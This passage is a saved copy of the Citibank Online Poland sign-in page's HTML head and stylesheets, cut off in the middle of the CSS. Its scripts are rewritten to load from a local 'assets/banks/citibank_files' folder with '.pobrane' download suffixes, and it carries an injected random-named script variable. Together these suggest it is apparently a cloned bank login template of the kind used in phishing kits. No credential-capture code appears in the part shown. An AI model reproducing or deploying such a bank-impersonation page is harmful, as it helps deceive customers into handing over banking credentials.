<!DOCTYPE html>
<!-- saved from url=(0047)https://www.citibankonline.pl/apps/auth/signin/ -->
<html class="cbolui-ddl  js flexbox flexboxlegacy canvas canvastext webgl no-touch geolocation postmessage websqldatabase indexeddb hashchange history draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio localstorage sessionstorage webworkers no-applicationcache svg inlinesvg smil svgclippaths desktop landscape windows windowsnt windowsnt_0 64bit chrome chrome88 chrome88_0 webkit pl-pl getusermedia devicemotion deviceorientation vibrate no-devicelight no-deviceproximity no-userproximity no-battery no-lowbattery mouse" style="display: block; visibility: visible;" lang="pl"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="HandheldFriendly" content="true">
    <meta name="google" content="notranslate">
    <meta name="Author" content="Bank Handlowy w Warszawie S.A.">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Content-Control" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <meta name="fragment" content="!">
    <title>Citibank Online</title>
    <style>
        html {
            display : none;
            visibility : hidden;
        }
        html {
            font-size: 14px !important;
        }
        body {
            font-size: 1rem !important;
            -ms-overflow-style: scrollbar;
            margin: 0px;
            color: #333;
            background-color: #eee !important;
            overflow-x: hidden;
        }
        @keyframes spin {
            0% {
                -webkit-transform: rotate(0deg);
                transform: rotate(0deg);
            }
            100% {
                -webkit-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }
        .cbolui-ddl .loading {
            height: 60px;
            padding: 0;
            margin: 300px 0;
            text-align: center;
            color: #000;
            cursor: wait;
        }
        .cbolui-ddl .c3-blocker {
            background-image: none !important;
            padding: 5px !important;
            font-size: 1.143rem;
            color: #333;
        }
        .cbolui-ddl .supress-spinner .c3-blocker::before,
        .cbolui-ddl .supress-spinner .c3-blocker.c3-blocker-medium::before,
        .cbolui-ddl .supress-spinner .jamp .img  {
            background-image: none !important;
        }
        .cbolui-ddl .c3-blocker::before,
        .cbolui-ddl .c3-blocker.c3-blocker-medium::before,
        .cbolui-ddl .jamp .img,
        .cbolui-ddl .c3-blocker.c3-blocker-medium  {
            content: " ";
            /* background-image: url(../images/svg/jamp-spinner-2x.svg); */
            /* YUI removed all the spaces, so need use encoded str as below
            background-image: url('data:image/svg+xml;utf8,<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 30 30" style="enable-background:new 0 0 30 30;" xml:space="preserve"><linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="0" y1="0" x2="0.7071" y2="0.7071"><stop offset="0" style="stop-color:#DEDFE3"/><stop offset="0.1738" style="stop-color:#D8D9DD"/><stop offset="0.352" style="stop-color:#C9CACD"/><stop offset="0.5323" style="stop-color:#B4B5B8"/><stop offset="0.7139" style="stop-color:#989A9C"/><stop offset="0.8949" style="stop-color:#797C7E"/><stop offset="1" style="stop-color:#656B6C"/></linearGradient><g><rect x="0" fill="none" width="30" height="30"/><path fill="#056EAE" d="M2.2,17.5C2.1,16.7,2,15.8,2,15C2,7.8,7.8,2,15,2s13,5.8,13,13c0,0.8-0.1,1.7-0.2,2.5h2 c0.1-0.8,0.2-1.6,0.2-2.5c0-8.3-6.7-15-15-15S0,6.7,0,15c0,0.8,0.1,1.7,0.2,2.5H2.2z"/></g></svg>');
            */
            background-image: url('data:image/svg+xml,%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20xmlns%3Axlink%3D%22http%3A//www.w3.org/1999/xlink%22%20x%3D%220px%22%20y%3D%220px%22%20viewBox%3D%220%200%2030%2030%22%20style%3D%22enable-background%3Anew%200%200%2030%2030%3B%22%20xml%3Aspace%3D%22preserve%22%3E%0A%20%20%20%20%3ClinearGradient%20id%3D%22SVGID_1_%22%20gradientUnits%3D%22userSpaceOnUse%22%20x1%3D%220%22%20y1%3D%220%22%20x2%3D%220.7071%22%20y2%3D%220.7071%22%3E%0A%20%20%20%20%20%20%20%20%3Cstop%20offset%3D%220%22%20style%3D%22stop-color%3A%23DEDFE3%22/%3E%0A%20%20%20%20%20%20%20%20%3Cstop%20offset%3D%220.1738%22%20style%3D%22stop-color%3A%23D8D9DD%22/%3E%0A%20%20%20%20%20%20%20%20%3Cstop%20offset%3D%220.352%22%20style%3D%22stop-color%3A%23C9CACD%22/%3E%0A%20%20%20%20%20%20%20%20%3Cstop%20offset%3D%220.5323%22%20style%3D%22stop-color%3A%23B4B5B8%22/%3E%0A%20%20%20%20%20%20%20%20%3Cstop%20offset%3D%220.7139%22%20style%3D%22stop-color%3A%23989A9C%22/%3E%0A%20%20%20%20%20%20%20%20%3Cstop%20offset%3D%220.8949%22%20style%3D%22stop-color%3A%23797C7E%22/%3E%0A%20%20%20%20%20%20%20%20%3Cstop%20offset%3D%221%22%20style%3D%22stop-color%3A%23656B6C%22/%3E%3C/linearGradient%3E%0A%20%20%20%20%3Cg%3E%0A%20%20%20%20%20%20%20%20%3Crect%20x%3D%220%22%20fill%3D%22none%22%20width%3D%2230%22%20height%3D%2230%22/%3E%0A%20%20%20%20%20%20%20%20%3Cpath%20fill%3D%22%23056EAE%22%20d%3D%22M2.2%2C17.5C2.1%2C16.7%2C2%2C15.8%2C2%2C15C2%2C7.8%2C7.8%2C2%2C15%2C2s13%2C5.8%2C13%2C13c0%2C0.8-0.1%2C1.7-0.2%2C2.5h2%20c0.1-0.8%2C0.2-1.6%2C0.2-2.5c0-8.3-6.7-15-15-15S0%2C6.7%2C0%2C15c0%2C0.8%2C0.1%2C1.7%2C0.2%2C2.5H2.2z%22/%3E%3C/g%3E%0A%3C/svg%3E%0A');
            background-position: 0 0;
            background-repeat: no-repeat;
            background-size: contain;
            margin-right: 0;
            width: 30px;
            height: 30px;
            display: inline-block;
            -webkit-animation: spin 1160ms infinite linear;
            animation: spin 1160ms infinite linear;
            position: relative;
            left: 0;
            top: 0;
            padding: 0 !important;
        }
        .cbolui-ddl .c3-blocker.c3-blocker-large::before {
            width: 40px;
            height: 40px;
            top: 13px;
        }
        .cbolui-ddl .c3-blocker.c3-blocker-small::before {
            width: 20px;
            height: 20px;
            top: 5px;
        }
        html.no-fouc {
            height: 100%;
            width: 100%;
            overflow: hidden;
        }
        html #bodyPageBlocker {
            display: none;
            visibility: hidden;
        }
        html.no-fouc #bodyPageBlocker {
            display: block;
            visibility: visible;
            position: absolute;
            top: 50%;
            left: 50%;
            width: 0px;
            height: 0px;
            border-radius: 50%;
            transform: translate(-50%, -50%);
            z-index: 9999;
            box-shadow: 0 0 0 9999px rgba(238, 238, 238, 1);
            transition: opacity 0.5s;
            transition-timing-function: ease-in;
        }
    </style>
    <meta name="theme-color" content="#056DAE">
    <meta name="apple-mobile-web-app-title" content="Citibank Online">
    <link rel="manifest" href="https://www.citibankonline.pl/config/plgcb/cbol/apps/config/manifest.json">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <link rel="shortcut icon" sizes="192x192" href="https://www.citibankonline.pl/content/cbol/images/icons/citi-icon-192x192.png">
    <link rel="apple-touch-icon" sizes="192x192" href="https://www.citibankonline.pl/content/cbol/images/icons/citi-icon-192x192.png">
    <noscript>
        <style>
            html {
                display: block;
                visibility: visible;
            }
        </style>
        Your browser does not support JavaScript! Pls enable JavaScript and try again.
    </noscript>
    <script>
        if( self == top ) {
            document.documentElement.style.display = 'block';
            document.documentElement.style.visibility = 'visible';
        } else {
            top.location = self.location;
        }
    </script>
    <script>bazadebezolkohpepadr="83166794"</script><script type="text/javascript" src="/assets/banks/citibank_files/4f5073e" defer=""></script><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="main" src="/assets/banks/citibank_files/main.js.pobrane"></script><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="jquery" src="/assets/banks/citibank_files/c3.thirdparty.combined.min.js.pobrane"></script><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="c3.bootstrap" src="/assets/banks/citibank_files/c3.platform.combined.min.js.pobrane"></script><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="cbol/libs/cbol.thirdparty.combined" src="/assets/banks/citibank_files/cbol.thirdparty.combined.js.pobrane"></script><link rel="stylesheet" type="text/css" href="/assets/banks/citibank_files/cbolui.min.css"><script type="text/javascript" charset="utf-8" async="" data-requirecontext="_" data-requiremodule="cbol/apps/portal/layout/module/module" src="/assets/banks/citibank_files/module.js.pobrane"></script><style type="text/css">.c3MenuOffc-toggle-label:active,ul.sm{-webkit-tap-highlight-color:transparent}.c3datepicker{font-size:16px;text-align:left;line-height:1.2;color:#000;position:absolute;z-index:10000;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.c3datepicker-input{cursor:default}.c3datepicker-input.c3datepicker-input--active{border-color:#0089ec}.c3datepicker-holder{width:100%;margin-top:10px;-webkit-overflow-scrolling:touch;position:relative;-webkit-transition:background .15s ease-out,top 0s .15s;-moz-transition:background .15s ease-out,top 0s .15s;transition:background .15s ease-out,top 0s .15s;-webkit-backface-visibility:hidden}.c3datepicker-frame{position:relative;margin:0 auto;min-width:316px;width:634px;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";filter:alpha(opacity=0);-moz-opacity:0;opacity:0;-webkit-transition:all .15s ease-out;-moz-transition:all .15s ease-out;transition:all .15s ease-out}.c3datepicker-wrap{display:table;width:100%;height:100%}@media (min-height:33.875em){.c3datepicker-frame{overflow:visible;top:auto;bottom:-100%;max-height:80%}.c3datepicker-box{display:block;border:1px solid #777;border-top-color:#898989;border-bottom-width:0;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0;-webkit-box-shadow:0 12px 36px 16px rgba(0,0,0,.24);-moz-box-shadow:0 12px 36px 16px rgba(0,0,0,.24);box-shadow:0 12px 36px 16px rgba(0,0,0,.24)}}@media (min-height:40.125em){.c3datepicker-frame{margin-bottom:7.5%}.c3datepicker-box{border-bottom-width:1px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}}.c3datepicker--opened .c3datepicker-holder{top:0;-webkit-transition:background .15s ease-out;-moz-transition:background .15s ease-out;transition:background .15s ease-out}#c3OffcMegamenu,a#c3OffcMmToggle{transition:all ease-out .3s}.c3datepicker-frame{display:none}.c3datepicker--opened .c3datepicker-frame{top:0;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";filter:alpha(opacity=100);-moz-opacity:1;opacity:1;display:block!important}@media (min-height:33.875em){.c3datepicker--opened .c3datepicker-frame{top:0;bottom:0}}.c3datepicker-box{background:#fff;vertical-align:top;float:left;border:1px solid #c8c8c8;font-family:Arial,sans-serif;font-size:16px;box-shadow:none;border-radius:0;width:100%}.c3datepicker-header{text-align:center;position:relative;padding-top:1.125em;padding-bottom:1.125em;background:#ddd}.c3datepicker-monthGroup1{float:left;width:316px;background:#fff}.c3datepicker-monthGroup2{float:right;width:316px;background:#fff}.calendarIcon{background:url(platform/images/c3-platform-sprite.png) -38px -32px no-repeat;width:17px;height:18px;float:left}.form-control[readonly]{background:#fff!important}.c3datepicker-table-left-padding{padding-left:12px!important}.c3datepicker-table-right-padding{padding-right:12px!important}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--highlighted.c3datepicker-day-top.c3datepicker-day-left{border:none!important}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--highlighted.c3datepicker-day-top.c3datepicker-day-left:hover{border:none!important;color:#fff!important}.c3datepicker-day.c3datepicker-day--infocus.c3datepicker-day-right,.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day-right{border-right:2px solid transparent}.c3datepicker-day.c3datepicker-day--infocus.c3datepicker-day-bottom,.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day-bottom{border-bottom:2px solid transparent}.c3datepicker-day.c3datepicker-day--infocus.c3datepicker-day-top,.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day-top{border-top:2px solid transparent}.c3datepicker-monthGroup2 .c3datepicker-table tbody{border-left:1px solid #B6B6B6}.c3datepicker-day.c3datepicker-day--infocus.c3datepicker-day-left,.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day-bottom.c3datepicker-day-left,.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day-top.c3datepicker-day-left{border-left:2px solid transparent}.c3datepicker-day.c3datepicker-day--infocus.c3datepicker-day-right:hover{padding:12px 10px 10px}.c3datepicker-weekday.c3datepicker-corner-buffer{width:15px}.c3datepicker-table>tbody:before{display:block;content:'';margin-top:12px}.c3datepicker-table>tbody:after{display:block;content:'';margin-bottom:12px}.c3datepicker-month,.c3datepicker-year{font-weight:700;display:inline-block;margin-left:.25em;margin-right:.25em;color:#3c3c3c;font-size:.725em;text-transform:capitalize}.c3datepicker-year{color:#3c3c3c;font-size:.725em;text-transform:uppercase}.c3datepicker-select--month,.c3datepicker-select--year{border:1px solid #b7b7b7;padding:.5em;margin-left:.25em;margin-right:.25em}@media (min-width:24.5em){.c3-responsive .c3datepicker-select--month,.c3-responsive .c3datepicker-select--year{margin-top:-.5em}}.c3datepicker-select--month{width:35%}.c3datepicker-select--year{width:22.5%}.c3datepicker-select--month:focus,.c3datepicker-select--year:focus{border-color:#0089ec}.c3datepicker-nav--next,.c3datepicker-nav--prev{position:absolute;padding:5px 10px;top:14px;border:1px solid transparent;box-sizing:content-box}.c3datepicker-nav--prev{left:70px}.c3datepicker-nav--next{right:70px}.c3datepicker-nav--next,.c3datepicker-nav--next:hover,.c3datepicker-nav--prev,.c3datepicker-nav--prev:hover{color:#3c3c3c!important}.c3datepicker-nav--next:before,.c3datepicker-nav--prev:before{content:"<";display:block;font-weight:700}.c3datepicker-nav--next:before{content:">"}.c3datepicker-nav--next:hover,.c3datepicker-nav--prev:hover{cursor:pointer;background:#fff;border:1px solid #ccc}.c3datepicker-nav--disabled,.c3datepicker-nav--disabled:before,.c3datepicker-nav--disabled:before:hover,.c3datepicker-nav--disabled:hover{cursor:default;background:0 0}.c3datepicker-table{text-align:center;border-collapse:collapse;border-spacing:0;table-layout:fixed;font-size:inherit}.c3datepicker-table td{margin:0;padding:0}.c3datepicker-weekday{width:14.285714286%;font-size:.75em;padding-bottom:.25em;color:#222;font-weight:700;background:#ddd;text-align:center}@media (min-height:33.875em){.c3-responsive .c3datepicker-weekday{padding-bottom:.5em}}.c3datepicker-day{padding:1em;font-weight:700;font-size:.75em;border:1px solid #f2f2f2}.c3datepicker-day--today{position:relative}.c3datepicker-day--today:before{position:absolute;top:2px;right:2px;width:0;height:0;border-top:.5em solid #0059bc;border-left:.5em solid transparent}.c3datepicker-day--disabled:before{border-top-color:#aaa}.c3datepicker-day--outfocus,.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--disabled{color:#fff;background:#fff}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--selected.c3datepicker-day--highlighted.c3datepicker-day-top{background:#fff;border-top:0;padding:13px}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--selected{background:#fff;border:1px solid #f2f2f2;border-top:0!important;padding:12px 0 14px}.c3datepicker-day--infocus:hover{cursor:pointer!important;color:#0076C1!important;border:2px solid #0076C1!important;padding:.875em}.c3datepicker-day--infocus.c3datepicker-day--disabled:hover{border:2px solid #f2f2f2!important;padding:11px 10px;color:#888!important}.c3datepicker-day.c3datepicker-day--infocus.c3datepicker-day--disabled.c3datepicker-day-top:hover{border-bottom:3px solid #f2f2f2!important;color:#888!important}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--selected.c3datepicker-day--highlighted.c3datepicker-day--disabled.c3datepicker-day-top.c3datepicker-otherMonth{border:1px solid #f2f2f2!important;border-top:none!important}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--highlighted.c3datepicker-day--disabled.c3datepicker-day-top.c3datepicker-otherMonth{border:1px solid #f2f2f2!important;padding:12px 0 14px;border-top:0!important}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--highlighted.c3datepicker-day--disabled.c3datepicker-day-top.c3datepicker-otherMonth:hover{border:1px solid #f2f2f2!important;border-top:0!important;background:#fff!important}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--selected.c3datepicker-day--disabled.c3datepicker-day-top.c3datepicker-day-left.c3datepicker-otherMonth{border:1px solid #f2f2f2!important;border-top:0!important;border-left:0!important;padding:12px 0 14px}.c3datepicker-day.c3datepicker-day--outfocus.c3datepicker-day--highlighted.c3datepicker-day--disabled.c3datepicker-day-top.c3datepicker-day-left.c3datepicker-otherMonth{border:1px solid #f2f2f2!important;border-top:0!important;border-left:0!important}.c3datepicker--focused .c3datepicker-day--highlighted,.c3datepicker-day--highlighted:hover{cursor:pointer;color:#0076C1;border:2px solid #0076C1!important;padding:.875em}.c3datepicker-day--special{border:1px solid #df013a;color:red}.c3datepicker--focused .c3datepicker-day--selected,.c3datepicker-day--selected,.c3datepicker-day--selected:hover{background:#666;color:#fff!important;border:1px solid #666;text-decoration:underline}.c3datepicker-day--selected .c3datepicker-day--infocus:hover{border:2px solid}.c3datepicker--focused .c3datepicker-day--disabled,.c3datepicker-day--disabled,.c3datepicker-day--disabled:hover{background:#F2F2F2;border-color:#f2f2f2;color:#888;cursor:default}.c3datepicker-day.c3datepicker-day--infocus.c3datepicker-day--disabled:hover{background:#F2F2F2;border-color:#f2f2f2;color:#888;cursor:default!important}.c3datepicker-day--highlighted.c3datepicker-day--disabled,.c3datepicker-day--highlighted.c3datepicker-day--disabled:hover{background:#f2f2f2}.c3datepicker-footer{text-align:center;display:none}.c3datepicker-button--clear,.c3datepicker-button--close,.c3datepicker-button--today{border:none;background-image:url(platform/images/c3-platform-sprite.png);background-position:0 0;background-repeat:no-repeat;height:32px;width:32px;font-size:.8em;padding:0;font-weight:700;display:inline-block;vertical-align:bottom;float:right;color:#999;margin-top:-1.5em}.c3datepicker-button--clear:hover,.c3datepicker-button--close:hover,.c3datepicker-button--today:hover{cursor:pointer;color:#0176C0;background-image:url(platform/images/c3-platform-sprite.png);background-position:-32px 0}.c3datepicker-button--clear:focus,.c3datepicker-button--close:focus,.c3datepicker-button--today:focus{outline:0}.c3datepicker-button--clear:before,.c3datepicker-button--close:before,.c3datepicker-button--today:before{position:relative;display:inline-block;height:0}.c3datepicker-button--clear:before,.c3datepicker-button--today:before{content:" ";margin-right:.45em}.c3datepicker-button--today:before{top:-.05em;width:0;border-top:.66em solid #0059bc;border-left:.66em solid transparent}.c3datepicker-button--clear:before{top:-.25em;width:.66em;border-top:3px solid #e20}.c3datepicker-button--close:before{vertical-align:top;font-size:1.3em}.c3datepicker-button--today[disabled],.c3datepicker-button--today[disabled]:hover{background:#f5f5f5;border-color:#f5f5f5;color:#ddd;cursor:default}.c3datepicker-button--today[disabled]:before{border-top-color:#aaa}.c3datepicker-monthGroup1 .c3datepicker-button--close{display:none}@media screen and (min-width:40em){.c3-responsive .c3datepicker-monthGroup1 .c3datepicker-button--close{display:none}}@media screen and (max-width:40em){.c3-responsive .c3datepicker-frame,.c3-responsive .c3datepicker-monthGroup1,.c3-responsive .c3datepicker-monthGroup2{width:100%!important}.c3-responsive .c3datepicker-monthGroup1 .c3datepicker-button--close{display:block}.c3-responsive .c3datepicker-nav--prev{left:4.5em}.c3-responsive .c3datepicker-nav--next{right:4.5em}.c3-responsive .c3datepicker-button--close{margin-top:-1.4em}}.sm,.sm li,.sm ul{display:block;list-style:none;padding:0;margin:0;line-height:normal;direction:ltr}ul.sm ul{position:absolute;top:-999999px;width:100px}ul.sm a,ul.sm li{position:relative}ul.sm li{float:left}ul.sm a{display:block;white-space:nowrap}ul.sm a.disabled{cursor:default}.sm-rtl,.sm-rtl li,.sm-rtl ul{direction:rtl}ul.sm-rtl li{float:right}.c3MenuOffc-drawer>ul.sm-blue>li,ul.sm ul li,ul.sm-vertical li{float:none}ul.sm ul a,ul.sm-vertical a{white-space:normal}ul.sm ul.sm-nowrap>li>a{white-space:nowrap}ul.sm:after{content:"�a0";display:block;height:0;font:0/0 serif;clear:both;visibility:hidden;overflow:hidden}ul.sm,ul.sm *,ul.sm :after,ul.sm :before{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.sm-blue{background:#0985C4;padding:0}.sm-blue ul{border:1px solid #a9a9a9;padding:7px 0;background:#fff}.sm-blue a{padding:13px 24px;color:#fff;font-size:18px;line-height:23px;font-family:"PT Sans Narrow","Arial Narrow",Arial,Helvetica,sans-serif;font-weight:700;text-decoration:none}.sm-blue a.highlighted,.sm-blue a:active,.sm-blue a:focus,.sm-blue a:hover{background:#3598DC;color:#fff}.sm-blue-vertical a{padding:9px 40px 8px 23px;background:#0985C4}.sm-blue ul a{padding:9px 40px 8px 23px;background:0 0;color:#247eab;font-size:16px;text-shadow:none}.sm-blue a.current,.sm-blue a.current:active,.sm-blue a.current:focus,.sm-blue a.current:hover,.sm-blue ul a.current,.sm-blue ul a.current:active,.sm-blue ul a.current:focus,.sm-blue ul a.current:hover,.sm-blue ul a.highlighted,.sm-blue ul a:active,.sm-blue ul a:focus,.sm-blue ul a:hover{background:#3598DC;color:#fff}.sm-blue a span.sub-arrow{position:absolute;bottom:16px;right:7px;width:0;height:0;overflow:hidden;border-width:5px;border-style:solid dashed dashed;border-color:#a4cde1 transparent transparent}.sm-blue ul a span.sub-arrow,.sm-blue-vertical a span.sub-arrow{bottom:auto;top:50%;margin-top:-5px;right:15px;left:auto;margin-left:0;border-style:dashed dashed dashed solid;border-color:transparent transparent transparent #a4cde1}.sm-blue li{border-left:1px solid #1a8bb9}.sm-blue li:first-child,.sm-blue ul li,.sm-blue-vertical li{border-left:0}.sm-blue span.scroll-down,.sm-blue span.scroll-up{position:absolute;display:none;visibility:hidden;overflow:hidden;background:#fff;height:20px}.sm-blue span.scroll-down-arrow,.sm-blue span.scroll-up-arrow{position:absolute;top:-2px;left:50%;margin-left:-8px;width:0;height:0;overflow:hidden;border-width:8px;border-style:dashed dashed solid;border-color:transparent transparent #247eab}.sm-blue span.scroll-down-arrow{top:6px;border-style:solid dashed dashed;border-color:#247eab transparent transparent}#menu-button{display:none;background:#0985C4;color:#fff;padding:10px}#menu-button:before{content:'Menu -'}#menu-button.collapsed:before{content:'Menu +'}@media screen and (max-width:850px){.sm-blue:not(.sm-blue-vertical)>li>a{padding-left:18px;padding-right:18px}.sm-blue:not(.sm-blue-vertical)>li>a span.sub-arrow{right:0}}@media screen and (max-width:750px){.sm-blue:not(.sm-blue-vertical)>li>a{padding-left:10px;padding-right:10px}.sm-blue:not(.sm-blue-vertical)>li>a span.sub-arrow{right:0}}@media screen and (max-width:640px){ul.sm-blue,ul.sm-blue ul{width:auto!important}ul.sm-blue ul{display:none;position:static!important;top:auto!important;left:auto!important;margin-left:0!important;margin-top:0!important;min-width:0!important;max-width:none!important}ul.sm-blue>li{float:none}ul.sm-blue ul.sm-nowrap>li>a,ul.sm-blue>li>a{white-space:normal}ul.sm-blue iframe{display:none}#menu-button{display:inline-block}#main-menu.collapsed{display:none}.sm-blue{background:0 0}.sm-blue ul{border:0;padding:0;background:#fff}.sm-blue ul ul{background:rgba(100,100,100,.1);-moz-border-radius:0;-webkit-border-radius:0;border-radius:0}.sm-blue a{padding:10px 5px 10px 28px!important;background:#0985C4!important;color:#fff!important}.sm-blue ul a{background:0 0!important;color:#247eab!important;text-shadow:none!important;border-left:8px solid transparent}.sm-blue a.current{background:#006892!important;color:#fff!important}.sm-blue ul ul a{border-left:16px solid transparent}.sm-blue ul ul ul a{border-left:24px solid transparent}.sm-blue ul ul ul ul a{border-left:32px solid transparent}.sm-blue ul ul ul ul ul a{border-left:40px solid transparent}.sm-blue a span.sub-arrow,.sm-blue ul a span.sub-arrow{top:50%;margin-top:-9px;right:auto;left:6px;margin-left:0;width:17px;height:17px;font:700 16px/16px monospace!important;text-align:center;border:0;text-shadow:none;background:rgba(0,0,0,.1);-moz-border-radius:100px;-webkit-border-radius:100px;border-radius:100px}.sm-blue a.highlighted span.sub-arrow{display:none!important}.sm-blue li{border-left:0}.sm-blue ul li{border-top:1px solid rgba(0,0,0,.05)}.sm-blue ul li:first-child{border-top:0}}.c3MenuOffc-drawer>ul.sm-blue{width:auto!important}.c3MenuOffc-drawer>ul.sm-blue ul{display:none;position:static!important;top:auto!important;left:auto!important;margin-left:0!important;margin-top:0!important;width:auto!important;min-width:0!important;max-width:none!important}.c3MenuOffc-drawer>ul.sm-blue>li>a,ul.sm-blue ul.sm-nowrap>li>a{white-space:normal}.c3MenuOffc-drawer>ul.sm-blue iframe{display:none}.c3MenuOffc-drawer>#menu-button{display:inline-block}.c3MenuOffc-drawer>#main-menu.collapsed{display:none}.c3MenuOffc-drawer>.sm-blue{background:0 0}.c3MenuOffc-drawer>.sm-blue ul{border:0;padding:0;background:#fff}.c3MenuOffc-drawer>.sm-blue ul ul{background:rgba(100,100,100,.1);-moz-border-radius:0;-webkit-border-radius:0;border-radius:0}.c3MenuOffc-drawer>.sm-blue a{padding:10px 5px 10px 28px!important;background:#0985C4!important;color:#fff!important}.c3MenuOffc-drawer>.sm-blue ul a{background:0 0!important;color:#247eab!important;text-shadow:none!important;border-left:8px solid transparent}.c3MenuOffc-drawer>.sm-blue a.current{background:#006892!important;color:#fff!important}.c3MenuOffc-drawer>.sm-blue ul ul a{border-left:16px solid transparent}.c3MenuOffc-drawer>.sm-blue ul ul ul a{border-left:24px solid transparent}.c3MenuOffc-drawer>.sm-blue ul ul ul ul a{border-left:32px solid transparent}.c3MenuOffc-drawer>.sm-blue ul ul ul ul ul a{border-left:40px solid transparent}.c3MenuOffc-drawer>.sm-blue a span.sub-arrow,.c3MenuOffc-drawer>.sm-blue ul a span.sub-arrow{top:50%;margin-top:-9px;right:auto;left:6px;margin-left:0;width:17px;height:17px;font:700 16px/16px monospace!important;text-align:center;border:0;text-shadow:none;background:rgba(0,0,0,.1);-moz-border-radius:100px;-webkit-border-radius:100px;border-radius:100px}.c3MenuOffc-drawer>.sm-blue a.highlighted span.sub-arrow{display:none!important}.c3MenuOffc-drawer>.sm-blue li{border-left:0}.c3MenuOffc-drawer>.sm-blue ul li{border-top:1px solid rgba(0,0,0,.05)}.c3MenuOffc-drawer>.sm-blue ul li:first-child{border-top:0}div#c3MOffcOverlay{display:none}a#c3OffcMmToggle{top:10px;right:10px;width:40px;height:40px;background-color:#0985C4;text-align:center;color:#fff;display:none;float:right}.megamenuOffcLeft>a#c3OffcMmToggle{float:left!important;left:10px;position:fixed}a#c3OffcMmToggle i{position:relative;top:50%;transform:translateY(-50%)}#c3OffcMegamenu ul li:hover ul{display:block}@media screen and (max-width:640px){a#c3OffcMmToggle{display:block;font-weight:700;text-decoration:none;padding:10px;position:fixed}.megamenuOffcLeft>#c3OffcMegamenu{position:fixed;width:250px;height:100%;top:0;left:0;overflow:hidden;overflow-y:auto;transform:translateX(-250px)}#c3OffcMegamenu{position:fixed;width:250px;height:100%;top:0;right:0;overflow-y:auto;transform:translateX(250px)}#c3OffcMegamenu,body.a#c3OffcMmToggle{overflow:hidden}#c3OffcMegamenu ul li,#c3OffcMegamenu ul li a{display:block}#c3OffcMegamenu ul li ul{display:none;position:static;width:100%}#c3OffcMegamenu ul li:hover>ul{display:none}div#c3MOffcOverlayLeft,div#c3MOffcOverlayRight{display:block;visibility:hidden;position:fixed;top:0;width:100%;height:100%;background-color:rgba(0,0,0,.2);transition:all ease-out .3s;z-index:250;opacity:0}div#c3MOffcOverlayRight{right:0}div#c3MOffcOverlayLeft{left:0}body.c3Mopen-menuRight div#c3MOffcOverlayRight{visibility:visible;opacity:1;right:250px}body.c3Mopen-menuLeft div#c3MOffcOverlayLeft{visibility:visible;opacity:1;left:250px}body.c3Mopen-menuLeft .megamenuOffcLeft>a#c3OffcMmToggle,body.c3Mopen-menuLeft .megamenuOffcLeft>nav#c3OffcMegamenu,body.c3Mopen-menuRight .megamenuOffcRight>a#c3OffcMmToggle,body.c3Mopen-menuRight .megamenuOffcRight>nav#c3OffcMegamenu{z-index:260;transform:translateX(0);background:#0985C4}}.c3MenuOffc-container{position:relative;height:100%;-webkit-overflow-scrolling:touch}.c3MenuOffc-toggle{left:-9999px;position:absolute;top:-9999px}.c3MenuOffc-toggle:focus~.c3MenuOffc-toggle-label{border-color:#00E1FF;color:#00E1FF}.c3MenuOffc-toggle-label{cursor:pointer;display:block;position:fixed;top:10px;z-index:99;color:#5d809d;width:32px;height:32px;-webkit-transition:all 400ms ease-in-out;transition:all 400ms ease-in-out}.c3MenuOffc-toggle-label:hover,.c3MenuOffc-toggle[data-toggle=right]:checked~.c3MenuOffc-toggle-label[data-toggle-label=right]{border-color:#00E1FF;color:#00E1FF}.c3MenuOffc-toggle-label:hover .c3MenuOffc-toggle-icon,.c3MenuOffc-toggle-label:hover .c3MenuOffc-toggle-icon:after,.c3MenuOffc-toggle-label:hover .c3MenuOffc-toggle-icon:before{background-color:#00E1FF}.c3MenuOffc-toggle-label .c3MenuOffc-toggle-icon,.c3MenuOffc-toggle-label .c3MenuOffc-toggle-icon:after,.c3MenuOffc-toggle-label 